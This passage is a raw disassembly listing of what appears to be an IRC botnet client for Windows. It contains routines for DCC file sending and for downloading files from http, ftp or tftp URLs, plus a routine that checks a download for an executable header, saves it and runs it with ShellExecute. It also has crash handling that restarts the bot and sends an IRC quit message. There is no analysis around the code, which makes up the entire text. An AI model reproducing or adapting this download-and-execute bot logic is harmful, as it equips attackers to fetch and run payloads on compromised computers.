[ebp+var_2F4] push offset aDccSendSS ; "DCC Send %s (%s)" push eax call sub_408C6C add esp, 10h lea eax, [ebp+var_14] push [ebp+var_4] push eax lea eax, [ebp+var_A00] push eax call ds:dword_411254 ; inet_addr push eax call ds:dword_41125C ; htonl push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_2F4] push offset dword_412348 push eax call sub_408CDE push 0EA60h push edi call sub_40371E add esp, 20h cmp eax, esi mov [ebp+var_C], eax jz loc_401E85 cmp eax, 0FFFFFFFFh jz loc_401E85 lea eax, [ebp+var_2F4] push eax lea eax, [ebp+var_3FC] push eax mov eax, [ebp+var_2F8] push dword ptr [eax] lea eax, [ebp+var_1CF] push offset dword_412320 push eax call sub_408D50 call sub_41084A ; clock mov esi, 200h mov [ebp+arg_0], eax push ebx push esi lea eax, [ebp+var_5FC] push 1 push eax call sub_410880 ; fread add esp, 24h loc_401D73: ; CODE XREF: sub_401B81+23Aj mov edi, eax test edi, edi jz short loc_401DE1 cmp edi, esi ja short loc_401DE1 lea eax, [ebp+var_5FC] push edi push eax push [ebp+var_C] call sub_403D54 add esp, 0Ch test eax, eax jz short loc_401DBD cmp edi, esi jb short loc_401DE1 mov eax, [ebp+var_2F8] cmp dword ptr [eax+4], 0 jnz loc_401E5F push ebx push esi lea eax, [ebp+var_5FC] push 1 push eax call sub_410880 ; fread add esp, 10h jmp short loc_401D73 ; --------------------------------------------------------------------------- loc_401DBD: ; CODE XREF: sub_401B81+211j lea eax, [ebp+var_2F4] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_1CF] push offset dword_4122F4 push eax call sub_408D50 add esp, 10h jmp short loc_401E5F ; --------------------------------------------------------------------------- loc_401DE1: ; CODE XREF: sub_401B81+1F6j ; sub_401B81+1FAj ... call sub_41084A ; clock cmp [ebp+arg_0], eax jnz short loc_401DF4 call sub_41084A ; clock dec eax mov [ebp+arg_0], eax loc_401DF4: ; CODE XREF: sub_401B81+268j mov eax, [ebp+var_4] mov ecx, 400h cdq idiv ecx mov [ebp+var_4], eax fild [ebp+var_4] fstp [ebp+var_18] call sub_41084A ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+var_4], eax fild [ebp+var_4] fmul ds:flt_411280 fdivr [ebp+var_18] fstp [esp+0A14h+var_A14] call sub_41084A ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+arg_0], eax lea eax, [ebp+var_2F4] fild [ebp+arg_0] fmul ds:flt_411280 fstp [esp+0A1Ch+var_A1C] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_1CF] push offset dword_4122B0 push eax call sub_408D50 add esp, 20h loc_401E5F: ; CODE XREF: sub_401B81+221j ; sub_401B81+25Ej push [ebp+var_C] call sub_403D27 push ebx call sub_410868 ; fclose push [ebp+var_1C] call sub_4038E1 push [ebp+var_2F8] call sub_406753 add esp, 10h jmp short loc_401E9F ; --------------------------------------------------------------------------- loc_401E85: ; CODE XREF: sub_401B81+19Cj ; sub_401B81+1A5j push ebx call sub_410868 ; fclose push edi call sub_4038E1 push [ebp+var_2F8] call sub_406753 add esp, 0Ch loc_401E9F: ; CODE XREF: sub_401B81+111j ; sub_401B81+302j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EA8 proc near ; CODE XREF: sub_408F9D+194p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi jz loc_401F9E cmp [ebp+arg_8], ebx jz loc_401F9E cmp [ebp+arg_C], ebx jz loc_401F9E cmp [ebp+arg_10], ebx jz loc_401F9E push [ebp+arg_10] call sub_41088C ; atoi mov esi, eax pop ecx cmp esi, ebx jz loc_401F9E cmp esi, 0FFFFh ja loc_401F9E push [ebp+arg_14] call sub_41088C ; atoi mov edi, eax pop ecx cmp edi, ebx jz loc_401F9E cmp esi, 40000000h ja loc_401F9E push 3D6h call sub_41082C ; malloc mov esi, eax pop ecx cmp esi, ebx jz short loc_401F9E push 21h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_41083E ; strncpy push 104h lea eax, [esi+25h] push [ebp+arg_8] push eax call sub_41083E ; strncpy push 100h lea eax, [esi+129h] push [ebp+arg_C] push eax call sub_41083E ; strncpy push 6 lea eax, [esi+229h] push [ebp+arg_10] push eax call sub_41083E ; strncpy push 1A3h lea eax, [esi+233h] push [ebp+arg_0] mov [esi+22Fh], edi push eax call sub_410838 ; memcpy add esp, 3Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41237C push ebx push esi push offset sub_401985 call sub_40663C add esp, 18h loc_401F9E: ; CODE XREF: sub_401EA8+Bj ; sub_401EA8+14j ... pop edi pop esi pop ebx pop ebp retn sub_401EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FA3 proc near ; CODE XREF: sub_40735A+3A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz short loc_402015 cmp [ebp+arg_8], 0 jz short loc_402015 push 2CCh call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_402015 push 21h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_41083E ; strncpy push 104h lea eax, [esi+25h] push [ebp+arg_8] push eax call sub_41083E ; strncpy push 1A3h lea eax, [esi+129h] push [ebp+arg_0] push eax call sub_410838 ; memcpy add esp, 24h push [ebp+arg_4] push [ebp+arg_8] push offset dword_4123A0 push 0 push esi push offset sub_401B81 call sub_40663C add esp, 18h loc_402015: ; CODE XREF: sub_401FA3+8j ; sub_401FA3+Ej ... pop esi pop ebp retn sub_401FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402018 proc near ; CODE XREF: sub_402230+3CAp var_408 = byte ptr -408h var_4 = dword ptr -4 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 408h push ebx push esi mov ebx, 2710h push edi push ebx push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_403BBB mov esi, eax add esp, 10h test esi, esi mov [ebp+arg_C], esi jz loc_402226 push [ebp+arg_8] mov edi, 401h lea eax, [ebp+var_408] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push edi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_408] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_408] push eax push esi call sub_403D54 push ebx lea eax, [ebp+var_408] push edi push eax push esi call sub_403DAD add esp, 34h mov [ebp+arg_10], eax test eax, eax jz loc_40221F cmp eax, 0FFFFFFFFh jz loc_40221F lea eax, [ebp+var_408] push offset asc_4123EC ; "\r\n\r\n" push eax call sub_410898 ; strstr mov esi, eax pop ecx test esi, esi pop ecx jz loc_40221A lea eax, [ebp+var_408] push offset aContentLength ; "Content-Length: " push eax add esi, 4 call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz loc_40221A cmp eax, esi ja loc_40221A and [ebp+var_4], 0 lea ecx, [ebp+var_4] push ecx push offset aContentLengthU ; "Content-Length: %u\r\n" push eax call sub_410892 ; sscanf add esp, 0Ch cmp eax, 1 jnz loc_40221A mov ecx, [ebp+var_4] test ecx, ecx jz loc_40221A cmp [ebp+arg_1C], 0 jz short loc_40212B cmp ecx, 2 jb loc_40221A cmp word ptr [esi], 5A4Dh jnz loc_40221A loc_40212B: ; CODE XREF: sub_402018+FDj mov eax, [ebp+arg_18] test eax, eax jz short loc_402134 mov [eax], ecx loc_402134: ; CODE XREF: sub_402018+118j push [ebp+arg_14] call sub_410521 test eax, eax pop ecx jnz loc_40221A push offset dword_4122AC push [ebp+arg_14] call sub_41086E ; fopen pop ecx mov [ebp+arg_8], eax test eax, eax pop ecx jnz short loc_40216D loc_40215B: ; CODE XREF: sub_402018+1CFj xor esi, esi loc_40215D: ; CODE XREF: sub_402018+1E0j push [ebp+arg_C] call sub_403D27 pop ecx mov eax, esi jmp loc_402228 ; --------------------------------------------------------------------------- loc_40216D: ; CODE XREF: sub_402018+141j push eax mov eax, [ebp+arg_10] sub eax, esi lea eax, [ebp+eax+var_408] push eax push 1 push esi call sub_410862 ; fwrite sub esi, [ebp+arg_10] lea eax, [ebp+var_408] add esp, 10h sub esi, eax add [ebp+var_4], esi loc_402194: ; CODE XREF: sub_402018+1C7j mov eax, [ebp+arg_20] test eax, eax jz short loc_4021A1 cmp dword ptr [eax+4], 0 jnz short loc_4021EC loc_4021A1: ; CODE XREF: sub_402018+181j push ebx lea eax, [ebp+var_408] push edi push eax push [ebp+arg_C] call sub_403DAD mov esi, eax add esp, 10h test esi, esi jz short loc_4021FD cmp esi, 0FFFFFFFFh jz short loc_4021FD cmp esi, [ebp+var_4] push [ebp+arg_8] ja short loc_4021E1 push esi lea eax, [ebp+var_408] push 1 push eax call sub_410862 ; fwrite add esp, 10h sub [ebp+var_4], esi jz short loc_4021EC jmp short loc_402194 ; --------------------------------------------------------------------------- loc_4021E1: ; CODE XREF: sub_402018+1AEj call sub_410868 ; fclose pop ecx jmp loc_40215B ; --------------------------------------------------------------------------- loc_4021EC: ; CODE XREF: sub_402018+187j ; sub_402018+1C5j push [ebp+arg_8] call sub_410868 ; fclose pop ecx push 1 pop esi jmp loc_40215D ; --------------------------------------------------------------------------- loc_4021FD: ; CODE XREF: sub_402018+1A1j ; sub_402018+1A6j push [ebp+arg_8] call sub_410868 ; fclose push [ebp+arg_C] call sub_403D27 pop ecx pop ecx push [ebp+arg_14] call ds:dword_4110B8 ; DeleteFileA jmp short loc_402226 ; --------------------------------------------------------------------------- loc_40221A: ; CODE XREF: sub_402018+A3j ; sub_402018+C1j ... push [ebp+arg_C] jmp short loc_402220 ; --------------------------------------------------------------------------- loc_40221F: ; CODE XREF: sub_402018+7Dj ; sub_402018+86j push esi loc_402220: ; CODE XREF: sub_402018+205j call sub_403D27 pop ecx loc_402226: ; CODE XREF: sub_402018+29j ; sub_402018+200j xor eax, eax loc_402228: ; CODE XREF: sub_402018+150j pop edi pop esi pop ebx leave retn sub_402018 endp ; =============== S U B R O U T I N E ======================================= sub_40222D proc near ; CODE XREF: sub_402230+415p ; sub_402230+452p xor eax, eax retn sub_40222D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402230 proc near ; DATA XREF: sub_4027CB+9Fo var_7EC = qword ptr -7ECh var_7D4 = byte ptr -7D4h var_6D0 = byte ptr -6D0h var_5D0 = byte ptr -5D0h var_4CC = byte ptr -4CCh var_4CB = byte ptr -4CBh var_44C = byte ptr -44Ch var_44B = byte ptr -44Bh var_3CC = dword ptr -3CCh var_3C8 = byte ptr -3C8h var_3C7 = byte ptr -3C7h var_3C2 = byte ptr -3C2h var_3C1 = byte ptr -3C1h var_2C4 = byte ptr -2C4h var_1C0 = byte ptr -1C0h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_33 = byte ptr -33h var_26 = byte ptr -26h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7D4h push ebx push esi push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_3CC] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_7D4] push eax call sub_410820 ; _mbscpy mov dl, byte_417B60 add esp, 18h xor eax, eax lea edi, [ebp+var_4CB] push 1Fh mov [ebp+var_4CC], dl pop ecx mov [ebp+var_44C], dl rep stosd stosw stosb push 1Fh xor eax, eax pop ecx lea edi, [ebp+var_44B] rep stosd stosw stosb lea eax, [ebp+var_2C4] xor ebx, ebx push eax lea eax, [ebp+var_7D4] push eax mov eax, [ebp+var_3CC] mov dword ptr [ebp+var_14+4], 1 mov [ebp+arg_0], ebx push dword ptr [eax] lea eax, [ebp+var_1C0] push offset dword_4125CC push eax call sub_408D50 push 7 lea eax, [ebp+var_3C8] push offset dword_4125C4 push eax call sub_410CA0 ; _strnicmp add esp, 20h test eax, eax jnz short loc_402347 lea eax, [ebp+var_2C4] push ebx push eax lea eax, [ebp+var_3C1] push eax call ds:dword_411068 ; CopyFileA test eax, eax jnz loc_402697 call ds:dword_41106C ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_40232E lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_41258C jmp loc_40277E ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_402230+E3j lea eax, [ebp+var_3C1] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_41255C jmp loc_40277E ; --------------------------------------------------------------------------- loc_402347: ; CODE XREF: sub_402230+BBj lea eax, [ebp+var_3C8] push eax call sub_410826 ; strlen pop ecx mov esi, eax loc_402356: ; CODE XREF: sub_402230+136j cmp esi, 0FFFFFFFFh jz short loc_4023CD cmp [ebp+esi+var_3C8], 3Ah jz short loc_402368 dec esi jmp short loc_402356 ; --------------------------------------------------------------------------- loc_402368: ; CODE XREF: sub_402230+133j cmp [ebp+esi+var_3C7], bl push 1 pop edi jz short loc_40239B mov al, [ebp+esi+var_3C7] lea ecx, [ebp+esi+var_3C8] loc_402382: ; CODE XREF: sub_402230+169j cmp al, 2Fh jz short loc_40239B cmp al, 30h jl short loc_4023CD cmp al, 39h jg short loc_4023CD mov byte ptr [ebp+edi+var_C+3], al mov al, [ecx+edi+1] inc edi cmp al, bl jnz short loc_402382 loc_40239B: ; CODE XREF: sub_402230+142j ; sub_402230+154j lea eax, [ebp+var_8] mov byte ptr [ebp+edi+var_C+3], bl push eax call sub_40325E test eax, eax pop ecx jz short loc_4023CD add edi, esi lea eax, [ebp+edi+var_3C8] push eax lea eax, [ebp+esi+var_3C8] push eax call sub_410820 ; _mbscpy pop ecx mov [ebp+arg_0], 1 pop ecx loc_4023CD: ; CODE XREF: sub_402230+129j ; sub_402230+158j ... push 7 lea eax, [ebp+var_3C8] push offset aHttp ; "http://" push eax call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40241D cmp [ebp+arg_0], ebx jnz short loc_4023FC lea eax, [ebp+var_8] push offset a80 ; "80" push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_4023FC: ; CODE XREF: sub_402230+1BAj lea eax, [ebp+var_3C1] push eax lea eax, [ebp+var_3C8] push eax call sub_410820 ; _mbscpy pop ecx mov [ebp+arg_0], 1 pop ecx jmp loc_4024D9 ; --------------------------------------------------------------------------- loc_40241D: ; CODE XREF: sub_402230+1B5j push 6 lea eax, [ebp+var_3C8] push offset aFtp ; "ftp://" push eax call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40248A cmp [ebp+arg_0], ebx jnz short loc_40244C lea eax, [ebp+var_8] push offset a21 ; "21" push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_40244C: ; CODE XREF: sub_402230+20Aj lea eax, [ebp+var_3C2] push eax lea eax, [ebp+var_3C8] push eax call sub_410820 ; _mbscpy mov esi, offset aAnonymous ; "anonymous" lea eax, [ebp+var_4CC] push esi push eax mov [ebp+arg_0], 2 call sub_410820 ; _mbscpy lea eax, [ebp+var_44C] push esi push eax call sub_410820 ; _mbscpy add esp, 18h jmp short loc_4024D9 ; --------------------------------------------------------------------------- loc_40248A: ; CODE XREF: sub_402230+205j push 7 lea eax, [ebp+var_3C8] push offset aTftp ; "tftp://" push eax call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_40279B cmp [ebp+arg_0], ebx jnz short loc_4024BD lea eax, [ebp+var_8] push offset a69 ; "69" push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_4024BD: ; CODE XREF: sub_402230+27Bj lea eax, [ebp+var_3C1] push eax lea eax, [ebp+var_3C8] push eax call sub_410820 ; _mbscpy pop ecx mov [ebp+arg_0], 3 pop ecx loc_4024D9: ; CODE XREF: sub_402230+1E8j ; sub_402230+258j lea eax, [ebp+var_3C8] push eax call sub_410826 ; strlen pop ecx mov esi, eax loc_4024E8: ; CODE XREF: sub_402230+2C8j cmp esi, 0FFFFFFFFh jz short loc_40255C cmp [ebp+esi+var_3C8], 40h jz short loc_4024FA dec esi jmp short loc_4024E8 ; --------------------------------------------------------------------------- loc_4024FA: ; CODE XREF: sub_402230+2C5j lea eax, [ebp+var_3C8] push offset asc_412528 ; ":" push eax mov [ebp+esi+var_3C8], bl call sub_410898 ; strstr pop ecx cmp eax, ebx pop ecx mov edi, 80h jz short loc_402531 mov [eax], bl inc eax push edi push eax lea eax, [ebp+var_44C] push eax call sub_4052A6 add esp, 0Ch loc_402531: ; CODE XREF: sub_402230+2EBj lea eax, [ebp+var_3C8] push edi push eax lea eax, [ebp+var_4CC] push eax call sub_4052A6 lea eax, [ebp+esi+var_3C7] push eax lea eax, [ebp+var_3C8] push eax call sub_410820 ; _mbscpy add esp, 14h loc_40255C: ; CODE XREF: sub_402230+2BBj lea eax, [ebp+var_3C8] push offset asc_412524 ; "/" push eax call sub_410898 ; strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jnz short loc_402587 mov eax, [ebp+var_3CC] push dword ptr [eax] push offset unk_4124F8 jmp loc_4027A8 ; --------------------------------------------------------------------------- loc_402587: ; CODE XREF: sub_402230+343j lea eax, [esi+1] push eax lea eax, [ebp+var_5D0] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_3C8] mov [esi], bl push eax lea eax, [ebp+var_6D0] push eax call sub_410820 ; _mbscpy add esp, 10h call sub_41084A ; clock cmp [ebp+arg_0], 1 mov dword ptr [ebp+var_1C+4], eax mov [ebp+var_C], ebx jnz short loc_402605 push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_44C] push eax lea eax, [ebp+var_4CC] push eax call sub_402018 add esp, 24h mov dword ptr [ebp+var_14+4], eax loc_402605: ; CODE XREF: sub_402230+38Ej cmp [ebp+arg_0], 2 jnz short loc_402650 push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_44C] push eax lea eax, [ebp+var_4CC] push eax call sub_40222D add esp, 24h mov dword ptr [ebp+var_14+4], eax loc_402650: ; CODE XREF: sub_402230+3D9j cmp [ebp+arg_0], 3 jnz short loc_40268D push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax call sub_40222D add esp, 1Ch mov dword ptr [ebp+var_14+4], eax loc_40268D: ; CODE XREF: sub_402230+424j cmp dword ptr [ebp+var_14+4], 1 jnz loc_40276A loc_402697: ; CODE XREF: sub_402230+D4j cmp [ebp+var_26], bl jz short loc_4026A3 mov eax, offset dword_4124EC jmp short loc_4026B2 ; --------------------------------------------------------------------------- loc_4026A3: ; CODE XREF: sub_402230+46Aj cmp [ebp+var_36], bl mov eax, offset dword_4124E0 jnz short loc_4026B2 mov eax, offset byte_417B60 loc_4026B2: ; CODE XREF: sub_402230+471j ; sub_402230+47Bj push eax mov eax, [ebp+var_C] shr eax, 0Ah mov dword ptr [ebp+var_14], eax mov dword ptr [ebp+var_14+4], ebx fild [ebp+var_14] fstp [ebp+arg_0] call sub_41084A ; clock sub eax, dword ptr [ebp+var_1C+4] mov dword ptr [ebp+var_1C+4], ebx push ecx push ecx mov dword ptr [ebp+var_1C], eax lea eax, [ebp+var_2C4] fild [ebp+var_1C] fmul ds:flt_411280 fdivr [ebp+arg_0] fstp [esp+7ECh+var_7EC] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] lea eax, [ebp+var_1C0] push offset dword_412498 push eax call sub_408D50 add esp, 1Ch cmp [ebp+var_37], bl jz short loc_40271B lea eax, [ebp+var_2C4] push eax call ds:dword_4110B8 ; DeleteFileA jmp short loc_40278D ; --------------------------------------------------------------------------- loc_40271B: ; CODE XREF: sub_402230+4DAj cmp [ebp+var_36], bl jnz short loc_402725 cmp [ebp+var_26], bl jz short loc_40278D loc_402725: ; CODE XREF: sub_402230+4EEj xor eax, eax cmp [ebp+var_33], bl setz al push eax push ebx lea eax, [ebp+var_2C4] push ebx push eax push offset aOpen ; "open" push ebx call ds:dword_4111E4 cmp eax, 20h jbe short loc_402754 cmp [ebp+var_26], bl jz short loc_40278D call sub_404BC3 jmp short loc_40278D ; --------------------------------------------------------------------------- loc_402754: ; CODE XREF: sub_402230+516j lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_412470 jmp short loc_40277E ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_402230+461j lea eax, [ebp+var_7D4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_412440 loc_40277E: ; CODE XREF: sub_402230+F9j ; sub_402230+112j ... lea eax, [ebp+var_1C0] push eax call sub_408D50 add esp, 10h loc_40278D: ; CODE XREF: sub_402230+4E9j ; sub_402230+4F3j ... push [ebp+var_3CC] call sub_406753 pop ecx jmp short loc_4027C2 ; --------------------------------------------------------------------------- loc_40279B: ; CODE XREF: sub_402230+272j mov eax, [ebp+var_3CC] push dword ptr [eax] push offset unk_412414 loc_4027A8: ; CODE XREF: sub_402230+352j lea eax, [ebp+var_1C0] push eax call sub_408D50 push [ebp+var_3CC] call sub_406753 add esp, 10h loc_4027C2: ; CODE XREF: sub_402230+569j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_402230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027CB proc near ; CODE XREF: sub_40735A+37Ep var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 push esi jz loc_402879 push 3AFh call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz loc_402879 push 8 push 7Ah push 61h lea eax, [ebp+var_10] push 4 push eax call sub_40AB82 and [ebp+eax+var_10], 0 lea eax, [ebp+var_10] push offset dword_412620 push eax call sub_410856 ; _mbscat add esp, 1Ch cmp [ebp+arg_8], 0 jnz short loc_402824 lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_402824: ; CODE XREF: sub_4027CB+51j push ebx push edi mov edi, 104h lea ebx, [esi+4] push edi push [ebp+arg_4] push ebx call sub_4052A6 push edi lea eax, [esi+108h] push [ebp+arg_8] push eax call sub_4052A6 push [ebp+arg_0] lea eax, [esi+20Ch] push eax call sub_403E60 add esp, 20h lea eax, [esi+108h] push eax push ebx push offset dword_4125FC push 0 push esi push offset sub_402230 call sub_40663C add esp, 18h pop edi pop ebx loc_402879: ; CODE XREF: sub_4027CB+Bj ; sub_4027CB+20j pop esi leave retn sub_4027CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40287C proc near ; CODE XREF: sub_4064A0+7Ep ; sub_406596+83p ... var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi push 1 push offset dword_417B6C call sub_406AFA mov esi, [ebp+arg_0] xor edi, edi cmp dword_417B68, edi pop ecx pop ecx mov ebx, eax jz loc_402994 mov edx, [esi] mov eax, 0C0000025h mov edi, offset aException_othe ; "EXCEPTION_OTHER" mov ecx, [edx] cmp ecx, eax ja short loc_4028F1 jz short loc_4028EA cmp ecx, 80000003h jz short loc_4028E3 cmp ecx, 0C0000005h jz short loc_4028DC cmp ecx, 0C000001Dh jnz short loc_402924 mov edi, offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028DC: ; CODE XREF: sub_40287C+4Fj mov edi, offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028E3: ; CODE XREF: sub_40287C+47j mov edi, offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028EA: ; CODE XREF: sub_40287C+3Fj mov edi, offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028F1: ; CODE XREF: sub_40287C+3Dj cmp ecx, 0C000008Dh jb short loc_402924 cmp ecx, 0C0000093h jbe short loc_40291F cmp ecx, 0C0000094h jz short loc_402918 cmp ecx, 0C00000FDh jnz short loc_402924 mov edi, offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_402918: ; CODE XREF: sub_40287C+8Bj mov edi, offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_40291F: ; CODE XREF: sub_40287C+83j mov edi, offset aException_flt ; "EXCEPTION_FLT" loc_402924: ; CODE XREF: sub_40287C+57j ; sub_40287C+5Ej ... cmp dword ptr [edx+4], 1 mov edx, offset aRestarting ; "Restarting" jz short loc_402934 mov edx, offset aContinuing ; "Continuing" loc_402934: ; CODE XREF: sub_40287C+B1j mov eax, [esi+4] push edx push edi push ecx push dword ptr [eax+0C0h] push dword ptr [eax+0B8h] push dword ptr [eax+0C4h] push dword ptr [eax+0B4h] push dword ptr [eax+9Ch] push dword ptr [eax+0A0h] push dword ptr [eax+0A8h] push dword ptr [eax+0ACh] push dword ptr [eax+0A4h] push dword ptr [eax+0B0h] lea eax, [ebx+1] push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41264C push offset dword_4177EC call sub_408CDE add esp, 48h xor edi, edi loc_402994: ; CODE XREF: sub_40287C+27j inc ebx cmp ebx, 64h jz short loc_4029C0 mov eax, [esi] cmp dword ptr [eax+4], 1 jz short loc_4029C0 cmp dword ptr [eax], 80000003h jnz short loc_4029BB mov esi, [esi+4] inc dword ptr [esi+0B8h] or eax, 0FFFFFFFFh loc_4029B6: ; CODE XREF: sub_40287C+142j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4029BB: ; CODE XREF: sub_40287C+12Cj push 1 pop eax jmp short loc_4029B6 ; --------------------------------------------------------------------------- loc_4029C0: ; CODE XREF: sub_40287C+11Cj ; sub_40287C+124j lea eax, [ebp+var_104] push 104h push eax push edi call ds:dword_411094 ; GetModuleHandleA push eax call ds:dword_411098 ; GetModuleFileNameA test eax, eax jz short loc_402A00 push edi push edi lea eax, [ebp+var_104] push edi push eax push offset aOpen ; "open" push edi call ds:dword_4111E4 cmp eax, 20h ja short loc_402A00 push offset aQuitExitting ; "QUIT :exitting" jmp short loc_402A05 ; --------------------------------------------------------------------------- loc_402A00: ; CODE XREF: sub_40287C+160j ; sub_40287C+17Bj push offset aQuitRestarting ; "QUIT :restarting" loc_402A05: ; CODE XREF: sub_40287C+182j call sub_408E60 pop ecx push edi call ds:dword_411064 ; ExitProcess sub_40287C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A12 proc near ; DATA XREF: sub_402D7B:loc_402EACo var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov edi, [ebp+arg_8] xor ebx, ebx cmp edi, ebx jz short loc_402A57 mov eax, [edi+4] cmp eax, ebx jz short loc_402A37 cmp eax, 2 jz short loc_402A37 mov esi, 273Fh jmp short loc_402A49 ; --------------------------------------------------------------------------- loc_402A37: ; CODE XREF: sub_402A12+17j ; sub_402A12+1Cj mov eax, [edi+8] cmp eax, 1 jz short loc_402A57 cmp eax, 2 jz short loc_402A57 mov esi, 273Ch loc_402A49: ; CODE XREF: sub_402A12+23j push esi call ds:dword_411244 ; WSASetLastError mov eax, esi jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402A57: ; CODE XREF: sub_402A12+10j ; sub_402A12+2Bj ... cmp [ebp+arg_0], ebx jnz loc_402AF7 push 30h call sub_41082C ; malloc mov esi, eax pop ecx cmp esi, ebx jz loc_402B3E push 30h push ebx push esi call sub_410850 ; memset push 10h lea eax, [ebp+var_18] pop ebx push ebx push 0 push eax call sub_410850 ; memset add esp, 18h cmp [ebp+arg_4], 0 mov [ebp+var_18], 2 jz short loc_402AAD push [ebp+arg_4] call sub_41088C ; atoi pop ecx push eax call ds:dword_411248 ; htons mov [ebp+var_16], ax loc_402AAD: ; CODE XREF: sub_402A12+85j test edi, edi mov dword ptr [esi+4], 2 jz short loc_402ABD mov eax, [edi+8] jmp short loc_402AC0 ; --------------------------------------------------------------------------- 